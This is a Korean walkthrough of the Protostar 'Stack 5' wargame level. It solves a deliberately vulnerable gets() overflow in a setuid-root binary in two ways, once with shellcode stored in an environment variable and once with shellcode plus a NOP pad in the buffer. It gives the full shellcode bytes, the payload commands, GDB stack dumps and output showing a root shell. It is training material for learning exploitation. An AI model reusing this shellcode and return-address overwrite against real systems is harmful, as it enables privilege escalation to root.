Stack 5의 소스코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 | #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char buffer[64]; gets(buffer); // Vurnerability!!! } | cs |
Stack 0 ~ Stack 4까지의 문제들은 변수에 특정 값을 집어 넣거나 특정 함수를 호출하는 문제였는데 이번 문제는 깔끔하게 buffer 변수와 gets() 함수만 존재합니다. 따라서 RET 영역을 조작하여 Setuid가 설정된 파일의 Owner의 권한으로 상승시키는 Shellcode를 실행시키도록 하겠습니다. /opt/protostar/bin/stack5의 Owner가 root임으로 root로 권한이 상승되겠네요.
이번에도 buffer의 크기를 먼저 파악해야 합니다. 앞선 Stack4에서와 main()이 같기 때문에 buffer와 dummy의 크기는 72 Bytes 입니다.
※ 먼저 실습하기 전에 putty로 접속하여 /bin/sh로 되어 있을 경우에는 /bin/bash로 바꾼 후에 진행해야 합니다. /bin/sh로 진행할 경우 정확한 주소 값을 파악할 수 없어 "Segmentation fault" 에러가 출력될 수 있습니다.
방법 1. 환경 변수를 이용한 shellcode 실행
Step 1. 먼저 shellcode를 환경변수에 등록합니다. 해당 shellcode는 setreuid(geteuid(), geteuid())와 system("/bin/sh")로 구성된 코드 입니다.
1 2 3 | export juun=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb \x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80 \x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'` | cs |
Step 2. 다음과 같이 해당 환경변수의 시작 주소를 출력해주는 C 코드를 작성합니다. (환경 변수의 주소값은 디렉터리의 경로나 프로그램의 변수 개수 등에 의해 주소값이 밀려서 달리게 될 수 있으므로 정확한 환경 변수의 시작 주소를 파악하기 위해서는 아래와 같은 C 코드를 이용해야 합니다.)
1 2 3 4 5 6 7 8 | #include <stdlib.h> int main(int argc, char **argv) { long ptr = getenv(argv[1]); ptr += (strlen(argv[0]) - strlen(argv[2])) * 2; printf("%s Address : %p\n", argv[1],ptr); return 0; } | cs |
Step 3. 위에서 만든 C 파일을 컴파일 한 후, 실행시켜면 다음과 같이 해당 환경변수의 시작 주소가 출력됩니다. (두번째 인자는 반드시 절대경로의 Target 파일명을 입력해야 합니다.)
1 2 | $ ./getEnvAddr juun /opt/protostar/bin/stack5 juun Address : 0xbfffff1f | cs |
Step 4. 이제 buffer 부터 SFP까지를 76개의 A 문자로 덮어버리고 RET 영역에 위에서 찾은 환경변수 주소를 넣어 주면 main() 함수가 리턴될 때 해당 환경 변수에 입력된 shellcode가 실행될것 입니다.
1 2 3 4 5 | user@protostar:~$ (python -c 'print "A"*76+"\x1f\xff\xff\xbf"';cat) | /opt/protostar/bin/stack5 id uid=0(root) gid=1001(user) groups=0(root),1001(user) whoami root | cs |
방법 2. buffer를 이용한 shellcode 실행
Step 1. GDB를 이용하여 buffer의 시작 주소를 파악합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | user@protostar:~$ gdb -q /opt/protostar/bin/stack5 Reading symbols from /opt/protostar/bin/stack5...done. (gdb) disas main Dump of assembler code for function main: 0x080483c4 <main+0>: push %ebp 0x080483c5 <main+1>: mov %esp,%ebp 0x080483c7 <main+3>: and $0xfffffff0,%esp 0x080483ca <main+6>: sub $0x50,%esp 0x080483cd <main+9>: lea 0x10(%esp),%eax 0x080483d1 <main+13>: mov %eax,(%esp) 0x080483d4 <main+16>: call 0x80482e8 <gets@plt> 0x080483d9 <main+21>: leave 0x080483da <main+22>: ret End of assembler dump. (gdb) b * 0x080483d9 Breakpoint 1 at 0x80483d9: file stack5/stack5.c, line 11. (gdb) r Starting program: /opt/protostar/bin/stack5 AAAA Breakpoint 1, main (argc=1, argv=0xbffff844) at stack5/stack5.c:11 11 stack5/stack5.c: No such file or directory. in stack5/stack5.c (gdb) x/40x $esp 0xbffff740: 0xbffff750 0xb7ec6165 0xbffff758 0xb7eada75 0xbffff750: 0x41414141 0x08049500 0xbffff768 0x080482c4 0xbffff760: 0xb7ff1040 0x0804958c 0xbffff798 0x08048409 0xbffff770: 0xb7fd8304 0xb7fd7ff4 0x080483f0 0xbffff798 0xbffff780: 0xb7ec6365 0xb7ff1040 0x080483fb 0xb7fd7ff4 0xbffff790: 0x080483f0 0x00000000 0xbffff818 0xb7eadc76 0xbffff7a0: 0x00000001 0xbffff844 0xbffff84c 0xb7fe1848 0xbffff7b0: 0xbffff800 0xffffffff 0xb7ffeff4 0x08048232 0xbffff7c0: 0x00000001 0xbffff800 0xb7ff0626 0xb7fffab0 0xbffff7d0: 0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000 (gdb) x/x $ebp 0xbffff798: 0xbffff818 | cs |
buffer의 시작 주소는 0xbffff750 입니다.
Step 2. 이제 buffer 부터 SFP까지를 61 Byte의 shellcode와 15 Byte의 NOP(0x90)으로 덮어 버리고 RET을 buffer의 시작 위치로 수정하면 main() 함수가 리턴될 때 buffer의 시작 위치로 이동하여 shellcode가 실행될 것입니다. 다음과 같은 payload를 만들 수 있습니다.
1 2 3 4 5 6 7 | user@protostar:~$ (python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80 \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd \x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"+"\x90"*15+"\x50\xf7\xff\xbf"';cat) | /opt/protostar/bin/stack5 id uid=0(root) gid=1001(user) groups=0(root),1001(user) whoami root | cs |
Step 3. GDB를 통해 실제 입력된 값을 보면 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | user@protostar:~$ python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80 \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd \x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"+"\x90"*15+"\x50\xf7\xff\xbf"'> input user@protostar:~$ gdb -q /opt/protostar/bin/stack5 Reading symbols from /opt/protostar/bin/stack5...done. (gdb) disas main Dump of assembler code for function main: 0x080483c4 <main+0>: push %ebp 0x080483c5 <main+1>: mov %esp,%ebp 0x080483c7 <main+3>: and $0xfffffff0,%esp 0x080483ca <main+6>: sub $0x50,%esp 0x080483cd <main+9>: lea 0x10(%esp),%eax 0x080483d1 <main+13>: mov %eax,(%esp) 0x080483d4 <main+16>: call 0x80482e8 <gets@plt> 0x080483d9 <main+21>: leave 0x080483da <main+22>: ret End of assembler dump. (gdb) b *0x080483d9 Breakpoint 1 at 0x80483d9: file stack5/stack5.c, line 11. (gdb) r < input Starting program: /opt/protostar/bin/stack5 < input Breakpoint 1, main (argc=0, argv=0xbffff844) at stack5/stack5.c:11 11 stack5/stack5.c: No such file or directory. in stack5/stack5.c (gdb) x/40x $esp 0xbffff740: 0xbffff750 0xb7ec6165 0xbffff758 0xb7eada75 0xbffff750: 0x31b0c031 0xc38980cd 0xc031c189 0x80cd46b0 0xbffff760: 0x895e1feb 0xc0310876 0x89074688 0x0bb00c46 0xbffff770: 0x4e8df389 0x0c568d08 0xdb3180cd 0xcd40d889 0xbffff780: 0xffdce880 0x622fffff 0x732f6e69 0x90909068 0xbffff790: 0x90909090 0x90909090 0x90909090 0xbffff750 0xbffff7a0: 0x00000000 0xbffff844 0xbffff84c 0xb7fe1848 0xbffff7b0: 0xbffff800 0xffffffff 0xb7ffeff4 0x08048232 0xbffff7c0: 0x00000001 0xbffff800 0xb7ff0626 0xb7fffab0 0xbffff7d0: 0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000 | cs |
※ 해당 환경에서는 랜덤 스택으로 보호되지 않고 있기 때문에 buffer의 시작 주소가 고정되어 있습니다. 만약 랜덤 스택이 적용되어 프로그램을 실행할 때 마다 buffer의 시작 주소가 바뀌는 환경에서는 Brute Force 방식을 이용하거나 RTL 기법을 이용해야 합니다.